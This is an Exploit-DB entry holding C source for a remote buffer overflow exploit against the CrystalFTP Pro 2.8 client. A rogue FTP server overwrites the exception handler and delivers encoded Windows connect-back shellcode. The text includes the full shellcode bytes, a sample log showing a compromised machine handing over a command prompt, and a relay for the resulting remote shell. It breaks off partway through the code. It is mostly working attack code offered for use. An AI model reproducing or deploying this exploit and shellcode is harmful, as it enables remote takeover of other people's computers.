Exploit-DB #711
Description: CrystalFTP Pro 2.8 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2005-04-24
Author: cybertronic

Exploit:
/*
 * CrystalFTP Pro v2.8 Buffer Overflow Exploit
 *
 * 04/25/2005
 *
 * despite the fact that nobody uses CrystalFTP
 * i had to release a new version that replaces
 * the first one.
 *
 * this overwrites the structured exception handler
 * with a "pop edx pop eax ret" in kernel32.dll.
 * this takes us to a pointer of the next SEH.
 * just jmp over the SEH itself and reverse code
 * gets executed.
 *
 * add more targets if needed
 *
 * have phun
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ local IP: 192.168.2.102
 * --[ incomming connection from:   192.168.2.103
 * --[ sending welcome message...done!
 * --[ getting login information
 * --[ reading USER...done!
 * --[ reading PASS...done!
 *         USER LOGGED IN!
 * --[ proceeding...
 * --[ reading cmd...done!
 * --[ reading cmd...done!
 * --[ reading cmd...done!
 * --[ entering passive mode...
 * --[ passive connection established!
 * --[ reading cmd...done!
 * --[ user is trying to use "LIST" command
 * --[ w00d w00d, let`s kick his ass...
 * --[ sending packet [ 711 bytes ]...done!
 * --[ confirming...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:   192.168.2.103
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\crystalFTP>
 *
 */

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

/*
 *
 * definitions
 *
 */

#define RED		"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

#define PORT	21
#define PASV	31337
#define BACKLOG	5

/*
 *
 * prototypes
 *
 */

int isip ( char* ip );
int shell ( int s, char* tip, unsigned short cbport );

char* get_cmd ( int s );

void auth ( int s );
void handle_cmd ( int s, int connfd, char* ip );
void header ();
void start_reverse_handler ();

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type  : connect back shellcode
 * Length: 316 bytes
 * CBIP  : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

unsigned char head[] =
"\x2d\x72\x77\x2d\x72\x2d\x2d\x72\x2d\x2d\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x32\x39\x20\x44\x65\x63\x20\x32"
"\x32\x20\x31\x33\x3a\x33\x37\x20\x63\x79\x62\x65\x72\x74\x72\x6f"
"\x6e\x69\x63\x2e";

char* argv3 = NULL;

/*
 *
 * functions
 *
 */

int
isip ( char* ip )
{
	unsigned int a, b, c, d;

	sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
	if ( a < 1 || a > 255 )
		return ( 1 );
	if ( b < 0 || b > 255 )
		return ( 1 );
	if ( c < 0 || c > 255 )
		return ( 1 );
	if ( d < 0 || d > 255 )
		return ( 1 );
	return ( 0 );
}

int
shell ( int s, char* tip, unsigned short cbport )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		usleep(10);
	}
}

char*
get_cmd ( int s )
{
	static char cmd[32];
	printf ( "--[" YELLOW " reading cmd..." NORMAL );
	if ( read ( s, cmd, 32 ) <= 0 )
	{
		printf ( RED "failed!\n" NORMAL);
		exit ( 1 );
	}
	printf ( GREEN "done!\n" NORMAL );
	return ( cmd );
}

void
auth ( int s )